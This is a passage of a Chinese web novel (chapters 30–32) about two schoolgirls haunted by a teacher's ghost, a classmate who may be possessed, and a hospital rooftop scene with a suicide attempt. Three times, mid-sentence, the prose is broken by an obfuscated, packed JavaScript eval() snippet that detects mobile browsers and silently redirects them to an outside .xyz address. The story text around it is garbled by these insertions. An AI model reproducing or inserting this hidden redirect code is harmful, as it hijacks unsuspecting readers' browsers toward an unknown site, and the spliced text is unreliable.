明明说给无法做到为素熙，无法回应这种感情。 “你好像要死了，小骗子。” 可现在，不也在为素熙而死吗？ 如果这就是珍星的人生，永远充斥着假话和阴暗面。 “可是我不想死。” “我还想……” 珍星扭头去看身边的素熙，闭上了眼睛。 天，终于亮了。 “那就不要死。” “珍胜呐，快醒过来，老师给你找了一个永远不会离开你的朋友。” “这一次，老师真的要走了。” 天晴了。 30. 衔尾蛇之首 珍星觉得自己似乎做了一个长长的梦。 在梦里，死去的老师又一次对她说。 “留下来，和我在一起吧。” 这让她以为自己的结局是死亡，那漫长的一夜仍然没有迎来黎明。 而当她觉得自己也许做好了死亡的准备，决定跟老师离开时，老师的手轻轻搭在她肩上。 珍星忍不住想作为鬼的老师到底要怎样对待自己呢？ 会像电影院里播放的怪兽一样，一口咬掉自己的头，还是妖怪故事里的妖怪，一手掏走自己的心嘛…… “噗嗤……” 老师笑了，甚至可以说笑得不修边幅。 但珍星却目不转睛地看着老师，她觉得这一刻的老师，比活人还要明媚。 当然，这也许是因为她对老师有着深深的感情。 “明明是很胆小的珍胜，装作什么都不怕的样子，还是很可怜啊。” “放心吧，你不会死。” “比起让珍胜和我一样孤单，我更希望你身边有很多朋友。” 在梦的最后，珍星看着老师消失的背影，鼓起勇气地喊：“老师，可以不要走吗？” “我……” 下一秒，一张苍白开裂的鬼脸靠近她。 珍星害怕得发抖，但却没有逃跑，她心中始终记得，这是她的老师。 “明明害怕了。” 纯白的梦境里老师不知道在哪个角落看着她。 “以后要胆子大一些，不可以将真心话藏在心里，当珍胜你又一次变成胆小鬼的时候，我就会带走你。” 这是一句恐吓，更是一句心意。 “你一定要记住，无论怎样，要听见心的声音，扑通——扑通——” 那是流淌在血液里的真相。 “去找到，声音。” 寒冷的气息完全褪去，老师对珍星留下了一句忠告。 可惜的是，这必然无法让珍星在醒来的时候就理解。 声音，饱含着情绪、情感和秘密。 情绪是—— “珍星呐……” 素熙又回到了珍星家，抱着昏迷的珍星敲门，清晨出来的珍星妈妈看见流血不止的珍星吓了一大跳。 老中医睡眼惺忪着被珍星妈妈请到家里。 不过进入珍星房间发现在一边守候着她的素熙时，老中医不动声色地从药箱里拿出一瓶水，取出一点撒在素熙身边。 滋啦啦的声音似乎没人听见，而从水洒中的地方冒出的黑烟，也只有老中医一人看见。 但他并没有再管这件事情，只是专心救治珍星，实际上她受的伤主要集中在手部。 之所以晕过去也是因为精力消耗过多。 为珍星扎完针之后，老中医默默离开，回到自己的家之后，独居的老人取出了压在家中格子里很深的东西。 打开盒子去看，也并不是什么稀奇的东西，只不过是一把看起来很陈旧的扇子。 取出临走时在珍星家洒水的地方进行擦拭的布，放在扇子上之后，奇异的一幕出现了。 这把扇子上出现了一只红色的狐狸。 合上扇子再次打开时，狐狸消失，扇子恢复原样。 “一条尾巴。” 这是在说那只狐狸的尾巴。 “如果有了一条，那么第二条，第三条……” 他的话止住，似乎是感到了沉沉的睡意，年迈的老者睡过去。 而珍星，总算是醒了过来。 睁眼看到的第一个人是素熙，珍星抱住了她，紧紧抱住了对方。 “还好你没事。” “还好……” 素熙霎时间流出眼泪，她呜咽着说。 “干嘛这样关心我。” “差点出事的人明明是珍星你啊。” 隐藏在声音下的情感是—— “珍星是对我很重要很重要的人。” “我不会再让你出事。” 素熙坚定地点点头，珍星抹去她的眼泪。 “老师说，如果我再次变成胆小鬼。” “她就会带走我。” “所以……” 珍星一点点擦掉素熙眼下的泪水，露出一个灿烂的笑。 在这份笑容中，素熙似乎听到了期待的心跳，咚咚咚在放大的心意是什么呢？ 珍星要对自己说什么呢？ “所以，我还没能请素熙你吃烤鱿鱼。” “素熙，可以再呆一段时间。” “我们一起好好过完这个暑假吧。” 很符合珍星风格的话，但素熙现在已经不再会为此而感到怀疑不安。 昨夜的生死抉择中，素熙虽然大部分时间都被控制住无法做些什么。 但和珍星想得不一样，所有的事情，她都听到和看到了。 “好。” “我们会一直在一起。” 素熙说出了自己的愿望。 而珍星点下了自己的头。 没人注意到的是，怀着相同的心意说下这番诺言的同时，床边的镜子微微闪动了。 匆匆的暑假终于在又一场雨后结束。 和两人约好的不一样，原本要留在珍星家的素熙，在珍星的劝慰下和妈妈通了电话。 最后决定在开学前一周回家。 于是新学期开始，珍星和素熙在校门相遇。 素熙依旧拿着自己那个粉色食盒，而这一次，珍星也不会再对她说：“不要做这些了素熙”，而是会开心地与素熙一起品尝。 实际上，很早以前的珍星就不会再对素熙说这种话了。 但现在意识到这一点，也并不迟，对吧。 除此之外，她们还遇见了落单的惠珠。 与其说遇见，不如说是眼尖的素熙发现了惠珠的身影，然后联合珍星一起向惠珠发起了“偷袭”。 “新学期好呀，惠珠。” 素熙用一个鬼脸逗笑了原本略显忧郁的惠珠，而珍星也在玩笑结束后取下了行李箱上系着的塑料袋。 “这是妈妈让我带给朋友们的特产小吃。” “惠珠不介意的话，可以拿去吃一点，不喜欢也可以丢掉。” 素熙揽住珍星的脖子吃醋道：“连我都没有的好东西，居然第一个给惠珠吗？” 惠珠因为这句话变得不安起来，不敢收下，但很快，素熙就笑着说。 “开玩笑的啦。” “惠珠不要介意。” 在这个暑假里，三个人之间只有惠珠完全没有和其中二人联系。 因此珍星她们对于惠珠的印象还停留在上学期。 没人发现惠珠有什么不同。 其实并没有什么很大的变化，惠珠依旧腼腆内向，身形也是人群之中最好认的。 唯一的变化，也只是枯黄的头发被染黑了。 “哦……哦好。” 惠珠弯腰接过珍星手中的特产。 匆忙离开了。 虽然感到奇怪，但珍星并未说什么。 反而是素熙喃喃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644441|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说出口：“珍星有没有觉得，惠珠好像有点奇怪？” “怎么了？” 珍星的奇怪只是一种感觉，她没办法形容，但就是有这样的预感。 而素熙就很直接了。 她伸出手指向惠珠离开的背影。 “珍星不觉得，惠珠好像在对着空气说话吗？” 说话的瞬间，两个人互相对视。 “难道，惠珠被……” 鬼缠上了吗？ 老师留给珍星的梦里除了对她的恶作剧和忠告，更多的内容其实是一次科普。 关于“鬼”的科普。 “珍胜你一定要记住，你是一个很特殊的孩子。” “这代表着，你会更容易发现那些不正常的东西，也会使自己或者身边的人招惹上这些东西。” 老师的的话让珍星变得不安。 这无疑是在对她说：“你是一个灾星。” 好在，在珍星这样想之前，老师抱住她先一步对她进行安抚。 “这并不是你的原因，而是它太过邪恶。” “它会跟着你，直到那个愿望达成，就算我不在了，它也一定会想办法达成你的愿望。” 老师的脸上出现一抹自嘲。 “尽管，你根本就不知道愿望的含义，那时的你还这样小，像一只小鸟。” “可是，为什么被选中的人是我呢？” 珍星不解，而老师只是摸摸她的头。 给出了一个令人匪夷的答案。 “也许是因为，我们珍星太过善良。” “不过，善良是好事，虽然有时候会为你带来一些麻烦，但结果一定是好的。” “只要你相信。” 似乎除了接受自己的命运也没有别的办法了，当然，珍星并没有真的沮丧。 她想，自己活这么大了，不也是好好的。 不过唯一让她真的感到担忧的事情是老师嘴里那句身边的人也会受到影响。 这让珍星下意识地说出：“那如果我赶走在我身边的人，她们会不会因此好过呢？” “哈——” 老师飘到她身后，又一次阴测测起来。 “珍胜老是想着逃跑吗？” “不是逃跑，是，让大家变得幸福。” 也许是察觉到老师从始至终都没有伤害自己的那份心，珍星变得大胆起来。 老师抱住她，冰冷的脸贴在她的颈窝。 “不会哦。如果珍胜总是这样想的话，也许真的会有人因此死掉。” 这是一种预言，更是一种总结。 “我没有办法说太多，但珍胜你不要放弃任何人，既然你已经被缠住了，就去帮帮其他被缠住的人吧。” “它就是靠这样得到力量的，如果你能减少被缠住的人，也许有一天，它就会失去所有力量。” “到那时，珍胜的自由也将随之而来。” 因为老师的这番话，在听见素熙对于惠珠的描述之后，习惯性想要逃避的珍星握住了她的手。 “我们，多关注一下惠珠，好吗？” 她并不习惯这样，做个多管闲事的“好人”。 但因为老师的话，因为眼前的素熙，她决定向惠珠靠近，解决她身上的“问题”。 而素熙的回答，永远都只有一个。 她回握住珍星的双手，灿烂一笑。 “当然好。” 怎样都好，怎样都可以，我只要有珍星就好了。 素熙开心地想着。 31. 秘密 一开始，这份温暖波光粼粼真令人羡慕。 后来她想，为什么不能是自己的呢？ 明明亲口说过“我们都一样的人”是你吧。 …… 因为老师的鬼魂“捣乱”，素熙因为自行车摔倒带来的腿伤原本已经好得差不多，可在那夜之后又加重起来。 因而开学的第一个月里，素熙成了练舞室里的“画家”，她无须再跟以前一样被老师叫起来做示范，也不必再站在最前方。 “先好好养伤吧，素熙。最近一段时间你就在这边旁观学习，顺便帮我捉捉她们的问题。” 因为素熙妈妈已经提前告知过情况，金老师对素熙暂时的落后倒也没什么惋惜的。 反正只是小伤，以素熙的能力，很快就能补回来。 素熙并没有因为这一时的特殊而感到异样，反而有着说不出的开心。 她靠在镜子边，大家都对着她跳舞。 因为金老师的话，她可以放心大胆地去看每个人，去看每个人中那个唯一的珍星。 “唔……宋珍星，你……” 一曲结束，金老师将代替素熙位置的珍星叫到前面，犹疑着看她。 不算太好的表情让本来心若止水的珍星堂皇起来，正当她犹豫着是否要先道歉以防金老师接下来狠狠教训自己时，金老师的反应急转直上。 “暑假看起来有好好练习，就是要这样。” “情感表达不错嘛。” 金老师不咸不淡地夸了一句，随后宣告了这节课的结束，头也不回地离开教室。 珍星还在为她的话发呆，回过神发现原来金老师不是在责备自己，而是夸奖。 心中好像有一种高兴的感觉。 这让她不自觉地朝着素熙走过去，珍星并不确定自己想做什么，分享刚才的感觉吗？ “感觉怎么样？”珍星照例对素熙的腿关心。 素熙也抿嘴一笑，似乎在说，还没有完全好。 至于什么时候才会好，这得看她的心情。 但随后素熙就提起了另一件珍星比较关心的事情。 “我刚刚在课堂上，看见了惠珠。” 半开的门缝，素熙对上了惠珠的双眼。 “是惠珠在做什么吗？” “你还看见了什么？” 素熙认真地想了想，然后摇头。 “只是看见她站在外面，不过下课之后，在金老师拉开门之前她就走了。” 并不是什么有效的信息，不过珍星也并不是什么专业人才，虽然有老师告知的消息。 可究竟该怎么去帮助“那些人”呢？ 对于惠珠的猜测也仅仅是一种猜测，也许鬼并不是泛滥的生物，惠珠只是生了一场怪病。 “说起来，明天的优秀表演展示，珍星和其他人能好好合作吗？” 素熙主动提起另一个话题，想让露出忧愁脸色的珍星转换一下心情。 “这个嘛……磨合得还行，不过说起来，我好像遇见了一个可怜的孩子。” 珍星用出了“可怜”这个词，素熙只在一瞬间就冒出一种不舒服的感觉。 “不要这样看着我啦。” 珍星似乎察觉到了素熙的“醋意”主动解释起来：“我们的作品被评为第一名之后，除了因为素熙你腿伤没办法和我一起跳舞，学校给我换了一名搭档之外，不是还加入了独唱学生来伴奏嘛。” “我要说的就是那位独唱的孩子，是一年级的新生，她很厉害。” 珍星简单的介绍到此为止，画风一转提到了另外一件事。 “但是上次我去医院看你的时候，好像就已经见过这个孩子了，她的妈妈生了很严重的病。” “所以我才觉得她好可怜。” “没有别的意思啦。” 珍星只当这是一桩巧合提出来，但素熙听完之后意外地沉默了。 当她回过神来的时候，珍星已经走到门口。 是她们之间上一个话题的主人公，惠珠在门口。 素熙因为腿伤并没有过去，只是远远地对着惠珠一笑伸手打了招呼。 因为开学日珍星对自己的请求，素熙并没有去干扰她们之间的对话。 尽管惠珠这次是来找自己的，素熙也毫不介意地请珍星代为沟通。 “惠珠，又来找素熙吗？” 和素熙想得有一些偏差的是，从以前到现在，惠珠每一次和珍星的话题开头其实都是素熙。 “嗯……我、我想，这个请你们吃。” 惠珠拿出藏在身后的饭盒，里面装着一些手作点心。 饭盒是一大一小的格子，大的一边装着紫菜饭团，小的一边是爱心形状的西瓜。 惠珠指了指爱心形状的西瓜似乎想要解释。 “这个，我，其实……” 珍星大方接过，对着她眨眨眼。 “我知道，是因为只剩下心形模具了对吧，素熙不会误会的，我也不会。” 惠珠如释重负地点点头，对着珍星露出感激的表情。 对话结束，珍星率先进门，惠珠则站在原地，珍星准确传递完惠珠的意思后，素熙又一次招手，大声说：“谢谢惠珠。” 惠珠露出一点笑意，这才转身离开。 没走几步，她又被叫住。 原来是珍星追上来。 她手里拿着两个星星发卡。 “是我和素熙对惠珠的感谢，忘记对惠珠说了，黑色头发很好看。” “谢……” 惠珠想拿过发卡，但却发现珍星用了一些力气攥住了发卡，疑惑抬头看过去时，珍星靠近了一些，这突然的举动让她感觉很奇怪。 “但是，原来的颜色也很漂亮” 珍星只是想说这个。 “回见啦。” 珍星这次是真的离开了，留在原地的惠珠举起手中的发卡，在阳光下有着细碎闪粉的星星一闪一闪，是很漂亮的发卡。 惠珠不自觉地将发卡撇在自己头上。 喃喃自语：“这样吗……” 她似乎为珍星的话触动了一下，但下一秒，她就轻轻碰上发卡。 发出轻飘飘的声音，她转头，似乎是在自说自话。 “这样就能变成你吗？” “拥有得越多，就能越像吗？” 雨后的积水形成校园里最小的一片湖泊，惠珠偶然低头，看见自己的脸。 “好胖。” 她踩在积水上，似乎有些生气。 太过用力的动作让水珠飞溅，一不小心就全部弹到了路过的女生的校裙上。 两个人不约而同地道歉，眼神扫过对方的铭牌，最后是被惠珠“伤”到的人先开口。 “十分抱歉，学姐，都是我没有看路。” 那是一张堪称楚楚可怜的脸，脸上每一处地方都是圆润的形状，这让这位新入校的一年级学妹看起来特别像最近正在盛开的桂花树上的小花。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644442|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只要站在原地就能发出香味，小巧，可爱。 “不、不是你的问题。是我，没有注意。” 学妹的态度很真诚，但惠珠却秉持着自己回避人群的本性，即使学妹还想对她说什么，惠珠还是头也不回地走掉了。 “哈——” 因此惠珠没有听到这一句。 学妹低着头让头发挡住自己脸，看起来是委屈，嘴里却是不耐的语气。 可是珍星听到了。 准确来说，她是无意撞见了这位名叫朴英妍的学妹隐藏的“秘密”。 提起秘密，有人觉得讳莫如深，但其实，秘密是随处可见的。 这一秒钟无法诚实说出口的话，或是经过润色说出来的话，其背后隐藏着心脏的秘密。 譬如，舞蹈课上素熙看见了惠珠，不只是看见她站在门口。 还看见了，惠珠身边模糊的一个人影。 尽管素熙并不能辨认出那个影子究竟是什么，但却感到一阵熟悉。 珍星送完惠珠进来没多久，就发现素熙已经吃完了惠珠送来的全部东西。 “饿了吗？” “是啊，惠珠的手艺真的很好。” “我忍不住就全部吃完了，珍星会介意吗？” 素熙嘴上这样说，身体却很诚实地站起来推着珍星往外走。 “作为补偿，我请珍星吃别的东西吧。” “没事啊，其实我能看出惠珠主要是想送给你吃，应该是想到我们总是在一块，所以才做了我的份吧。” 珍星并不是很在乎这一点，但这样轻松的时刻，她突然想到很久之前自己说过的话。 “素熙是因为惠珠才来到这所学校的吗？” 珍星忘了，现在想起来之后，心里反而没有那么轻松了。 对于素熙而言，惠珠也是很重要的人吧。 原本想要徐徐图之，顺其自然去探索惠珠身上的秘密，这样的想法突然令珍星感觉不好意思起来。 她是不是太过在意素熙，因为这些日子的经历，她只关注着素熙。 所以也没有为素熙的朋友考虑过呢？ 就像曾经对自己说过“很崇拜素熙很想和她成为好朋友”的惠珠，珍星还记得自己当时说，有机会会向素熙传递惠珠的心声。 结果完全没有，珍星不敢确定使自己忘了，还是故意为之。 是因为她没有及时为惠珠传递这份心意，才让惠珠现在，变得奇怪吗？珍星暗暗想着。 可其实……珍星突然在想—— “学姐……那个，老师让我们中午提前去找她，好像排练的内容有改变。” 珍星看向门口，是来叫她去排练的学妹。 虽然口吻很羞涩，但她的笑容很亲切。 似乎也是在门口等了一阵子，终于等到她们要出来了，才主动出声。 素熙从珍星身边探头。 “哦！这是珍星刚刚跟我提起的学妹，就是你吗？” 此话一出，原本还在礼貌微笑的学妹表情怔住一瞬，明显不是在开心。 她的眼睛缓慢移动到珍星的方向。 比起正常的疑惑，或者好奇不太熟的学姐是怎样在自己的朋友面前评价自己这些普通情绪。 这是只有珍星才知道的警告。 “诶？”英妍最终只是发出一点疑问。 珍星悠悠想起来，刚才在心中对自己的评价。 其实，我并不是善良的孩子。 32. 针尖麦芒 医院的消毒水味常被人形容为刺鼻，大概是因为描述者来得很少，或是第一次来。 那如果有人说，医院的味道很恶心，她又是怎样的情况呢，来得太少，还是来得太多呢？ 抱着一小束鲜花，珍星在住院部里寻找素熙的病房。 这是因为回家后的素熙因为不“注意”又一次加重伤势，忙于工作的素熙妈妈只能将她送进医院。 不过素熙并不觉得这是一件坏事。 妈妈走后没多久，她就向珍星发去消息。 【又受伤了，一个人躺在病床上好孤独。要是珍星能来看我就好了，不过……珍星应该很忙吧。 ——默默流眼泪的素熙】 和短信里撇着嘴的可怜语气不一样的是，握着手机的素熙微笑着。 闭上眼睛默默数着数，当她从一数到一百二十的时候，手机的提示音响起，振动声让她露出满意的表情。 【素熙好黏我。】 珍星的回答很简单，甚至没有说自己要不要来，但素熙却知道这是同意的意思。 盛夏时节，窗外的绿色简直到了侵占全世界的程度，看久了会让眼睛变得很干涩。 所以才需要转换心情。 【病房号是多少呢？】 果然，珍星在第二天发出来这样的消息。 人也已经到了医院。 走过一间又一间病房，里面躺着或坐着不一样的人，却因为相同的病症痛苦被囚禁于此。 珍星感到恐惧，并不会让她做什么，只是恐惧而已。 快到走廊尽头，一间病房的门微微开着。 让珍星准确无误地听见了病房里的对话。 “偶妈，你这是干什么，你想要放弃吗？我们已经坚持了这么久，你一定会好起来的。” “不要再做那样的事了，真的很危险。” “我知道，可是……可是你照顾我很辛苦，我不想成为你的负担。” “你怎么可能会是我的负担呢。但是妈妈要是再这样挡着医生护士的面寻死，才真的是给大家添加了麻烦。” 三言两语间，一位担心拖累孩子而企图寻死的母亲和一位记挂着母亲努力照顾她的好女儿，进入了珍星的视线。 那时的她还不知道这就是在开学日会见到的学妹英妍。 也许是珍星在原地驻留得太久，引来了房间里两人的注意。 出于礼貌，珍星微微欠身笑了笑之后离开。 穿着朴素衣裙的少女也没忘回以她一个微笑，此时的女孩扎着马尾，整个人看起来虽然眉眼间带着忧虑但精神很足。 继续向前从楼梯向上的珍星喃喃着说。 “是我，想太多了吗。” 很快她就找到了素熙的病房。 腿上直接打上了厚厚石膏的素熙一看见珍星就挣扎着想要抱她。 还好珍星快速走过来制止了她的危险举动。 “我好想你。” “可是我们才分别一周不到吧。” “那也已经很久。” 素熙从来不吝啬自己的情感表达，不过珍星能接受到几分就是个问题了。 “吃东西了吗？” 珍星一边将花束插进瓶子里，一边问。 素熙本想说是，比起吃饭，现在她更想和珍星一起说说话聊聊天。 谁知，两个人异肚同声，一起空隆隆。 珍星一下子脸红起来，在和素熙对视时两个人不约而同笑起来。 “我去医院的食堂打点饭？” 珍星问着，整个人已经拿起柜子上的食盒走出去，素熙也没挽留。 只是大喊：“珍星回来的时候可以再帮我带一瓶西瓜汁嘛！” “我知道啦。” 在走廊的珍星学着素熙大声回复。 本想着快一点坐电梯下去，结果因为上面楼层的人先按了电梯，进入之后只能跟随着大家上去。 珍星搭坐的这一班电梯特别挤，她差点被推出去摔倒在地，幸好的是有人拉住她。 “谢谢你。” 回头道谢的珍星看清楚帮忙的人之后小声地“哦”了一下。 “不客气。” 是刚路过病房看见的少女。 珍星看见了对方手里也提着饭盒。 不过却没因此和她加深交流。 她们都不是会主动对陌生人释放热情的性格，也并不想因为这一点事情开启一段话题。 无言下到一层，因为相同的路线所以她们看起来是同行人，实际上是彼此间的陌生人。 医院的食堂也有很多工作人员在这里就餐，医生、护士、保安……但更多的还是患者家属。 珍星在这里和对方分别，各自选了一条队伍排队。 但珍星还是觉得有些奇怪。 因为从刚刚路过病房到现在，只要是和这位少女同行的情况下，珍星似乎都能听到一些声音。 并不是时刻能听到，但也很奇怪。 比如刚才少女劝慰母亲不要再试图自杀时候说的话明明是：“你怎么可能会是我的负担呢。但是妈妈要是再这样挡着医生护士的面寻死，才真的是给大家添加了麻烦。” 可是珍星听到的却是：“如果一定要去死的话，妈妈你至少应该选一个没有人的地方，这样才不会被拦下。” “说到底，妈妈你根本就不敢去死吧。既然这样，那就不要用这个来吓我啊。” 又比如现在，因为少女常常来医院，又经常在固定窗口打饭，等到珍星排到时，少女也在附近。 热情的打饭阿姨对着少女露出怜悯的表情，特有的大嗓门在关心着对方。 “够不够吃，我再多打些给你好不好，不要你多付钱的。” “谢谢阿姨。” 家庭不幸，但却有一张美丽的面孔，在需要耗费无数财力和精力才能达成的项目上，又有着非同寻常的天赋。 这让她很容易就被可怜，这样的人又很善良，就更容易被喜欢。 只是这份喜欢里究竟有多少真心能被当事人接收到呢？ 珍星因为再度听到的声音而僵住。 她这边的打饭阿姨大声催促着她。 这也引来了对面女孩子的侧目。 “是在刻意向大家提起我们家已经没钱了这件事情吗？真是可恶的阿姨啊。” “真想把盒子里的饭菜都倒在她脸上，让她别再说这种话了。” 不小心对视的瞬间，珍星脑海里播放出她所听见的声音。 这让她原本对于少女模糊的声音，产生了清晰的记忆。 而随着这次对视，珍星发现，她听见了对方实时的心声。 “偶妈这个月已经寻死了好多次，明明告诉过她，只要坚持下去就能好起来，为什么不信我呢？” 原来是这样，珍星想刚刚听到的话，应该是少女的气话。 嘴上说着想让母亲死，实际上是因为母亲总是这样做而产生的气愤和无奈。 珍星转头重新继续打饭。 也就是在这时，她又听见了。 “如果医生和护士们来问我，我就这样告诉她们吧。” “这样大家才会可怜我，才会想着多照顾我，不过，妈妈现在会不会又去天台了呢？” “如果这一次她又上去了，我真的不会再劝她了。” 珍星不可置信地转头。 而心声是这样的少女，实际上却表现得很谦逊很有礼貌。 莫大的反差感，让珍星再度怀疑自己的耳朵，是不是因为压力大，所以幻听了。 她这样想着，却加快脚步离开食堂，电梯前依旧人满为患，于是她再一次走到楼梯。 凭着记忆里去到那个病房门口，病床上空无一人。 虽然很有可能是去上厕所或者别的地方。 但按照少女的话，也极有可能是…… 想到这里，珍星提着餐盒迅速回到了素熙的病房，放下东西，急匆匆说了一句：“素熙你先吃，我有一点事情，不用等我。” “怎么了珍星？” “珍星——” 素熙看着自己被吊起来的腿，想要去追珍星，却没有任何办法。 于是只能小声说：“那你小心点啊珍星。” 珍星跑上了天台。 那里果然有一位穿着蓝白条纹的女士。 “你是？” 对方不认识自己，珍星没说话，只是朝她走过去，走到水箱边，和她隔着一个不近不远的距离。 珍星不知道该说什么，她为自己贸然的行动感到后悔，因为这位女士看起来并没有寻死的意思，似乎只是上来看看风景。 这样想的话，珍星就真的是大傻瓜了。 这位阿姨坐在毫无保护措施的矮栏上，只需要动动就能跳下去。 “我……”珍星犹豫着，又朝她走近一点。 “是英妍的朋友吗？” “您在干什么呢？” 珍星没有回答什么，反而变成提问者。 “我……我不想成为英妍的负担。” “上次医生跟她说我坚持不了太久这件事，其实我都听见了。” “可是我不敢死，如果我死了，英妍就一个亲人也不剩了，她会不会很孤单，很难过？” “可是如果我就这样活着，总有一天我会把英妍拖死的。” 珍星意识到，其实对方根本不在意自己是谁，她只是需要一个人来听自己的遗言。 察觉到这一点，珍星做出了大胆的举动，她猛地扑上去把女人拉下来。 自己滚到地上，女人正弯着腰要拉她起来。 天台的门再次打开。 珍星伸出去的手没被拉住，她在水箱的遮挡下并未被来人发现。 “英妍……”女人重新坐回去。 珍星在缝隙中看见一个饭盒和一只手。 发现自己的妈妈又站在天台边，恐惧和不安让她手中的饭盒洒在地上。 最便宜的铁饭盒外面是锈迹，砸在地上发出叮叮咚咚的声响混合着前进的脚步声。 女人于是转头看自己的女儿。 珍星看见离自己越来越近的鞋子，而这一次她没有听见任何心里的声音。 因为少女低声说。 “那就去死吧，妈妈。” “好。” 珍星听见了这句话，不敢再等，立刻跳出来去拉已经往下摔的女人。 她一个人的力气并不够，不仅拉不上来人，反而被拖着向下。 而那位在所有人面前都表现得温和有礼，让人不自觉对她心生怜爱的少女，此刻冷冰冰站在一边。 发现珍星的身影她也吓了一跳。 可当珍星投来求助视线时，走过来的少女，没有说话。 心里却在想：如果她们一起掉下去，也没有人会发现我的，对吧。 她伸出手，并不是为了援助，而是成为压死骆驼的最后一根稻草。 “死了就一定会变好吗？” “如果我们死掉了，你就会万事大吉吗？” 珍星并不擅长说打动人的话。 比起劝慰什么的，她这样的人，最得心应手的是刺人的话。 “如果你现在不帮我的话，我死了会变成鬼来找你，我会整天跟着你，让你不得好死。” 珍星这样威胁对方。 “快点来帮我！” 最后，少女伸过来的手，终于是从她的背后转到了母亲的手上。 她开始用力。 “你为什么要多管闲事。”但最后少女却对她爆发。 只因为，珍星发现了她的异常。 原来少女仍然没有被说服还是想要下黑手，只是这时，珍星已经把人拉上来了，一个成年女人的重量其实和一背筐鱼一样。 而珍星的大力能做到一只手挑起一筐。 “如何死了就能变好，为什么死掉的人不是你呢？” 为了防止还有意外发生，珍星一手拉着少女，一手拉着她的母亲，硬生生把人拽到病房门口。 “你清醒一点再去看看，明明她是你最重要的人，不是吗？” 珍星想到了老师，如果曾经她能有机会的话，她会拉住老师，无论怎样都不会让老师离开，在那个夜晚离开。 也因此，她才想要让那个坏东西消失。 是它害死了老师，而它还将害死自己。 珍星所没有告诉素熙的是，老师的托梦里还说了一些不好的事情。 “无论怎么说，珍胜你也已经拥有了寻常人不会有的能力，即使你还没有发现，你也并不想要拥有……” “但这些都会导致你比普通人活得更短，但至少接下来的日子会变得很精彩。” “我就在这里等你，希望我们下次再见，不会太久。” 眼前的少女也并不是狠心的坏人，她只不过找到了说服自己能这样做的理由。 但这种理由很稀薄，珍星的两次阻止让她收回了自己的獠牙。 但也做不到再对珍星展现出那副毫无攻击性的小白花样子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644443|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “如果你说出去的话，就算你变成鬼，我也会让你闭嘴。” 在她看来，这应该是最后一次见到珍星，她在这家医院很久了，虽然并不是每个人都敢说认识，但珍星是第一次来，她很确定。 而珍星也并不在意她的威胁。 “如果你真的把病重的母亲当成负担，那么最好的死法，就是带她离开医院。” “回家，假装没有人生病，妈妈还是会陪着你，直到有一天回家，她倒在家里再也醒不过来，这就完全与你无关了。” 比起告诉她，母亲是多么重要一个角色，母爱是多么伟大的感情，人性是善良是正义是美好的一切，珍星永远都最擅长这样说。 如果你想要做个坏蛋，这样做更好。 这是她的劝慰，是不曾真正在素熙面前展露的一面，这是她的秘密。 “反正继续治病也只是浪费钱，对吧？” “你怎么可以这样说！” 回过神的少女终于牵动了自己的道德心，开始反驳珍星的提议。 她想要通过这样来这证明自己是个好孩子。 而珍星并不相信，她嗤笑着说：“说的比做的好听，那就证明给我看。” 随后，她重重关上门，仿佛在提醒少女——我会一直看着你。 不论怎么说，后来上去和一直等着自己的素熙用另一种方式讲述自己的经历，珍星并没有觉得她会再遇见对方。 她看见对方放在椅子上的书包，上面印着学校的标志，距离珍星的学校很远。 而素熙在珍星夸张的描述中，精准地捕捉到了珍星隐藏的真正情绪。 “珍星才不是自私的人，你只是自以为你是个冷漠的人，其实你是最善良的人。” “不信的话，珍星就要再请我喝一罐西瓜汽水哦。” 素熙用玩笑话的方式表达了自己对于珍星的信任。 “不论怎么说，在那个夜晚差点因我而死掉的珍星，你对我是最重要的。” “你想要做什么，我都会陪着你。” 在珍星找借口出去，实际上是在抹眼泪被素熙感动得不知所措的时候，素熙闭上眼睛，仿佛能听见看见到珍星的情况。 她翘起嘴唇，轻轻说。 “明明就是善良的爱哭鬼嘛。” 但是又能想到，在新学期开始，珍星会在排练舞台边再次看见站在钢琴边的少女。 她穿着与自己同一个学校的校服，从铭牌上，珍星得知她是今年入学的新生。 搭档是班级里还算熟悉的女生，正小声说着她的情况。 “你知道她是谁吗？我都听音乐系的那边说了，这位好像是校长重金挖过来的天才少女，她的声音能做到羽毛般的控制。” “不过，刚刚我听了一下，感觉也就一般嘛。” 珍星并不了解，只是看着她的名字发呆。 没过一会儿老师召集大家集合。 颇为正式地介绍了珍星和英妍，因为一个是节目的主演，另一个是独唱。 至于其他人，怎么说都只是陪衬罢了。 “互相认识一下，这次排练的时间只有一个月，虽然这节目的原创是你们a班的，但暑假期间我们聘请专家改动了很多地方，都是为了更好的打磨作品，到时候署名你和你原本的搭档就排在第三位，没意见吧？” 老师特地说了一大段话，但最终目的也只有一件而已。 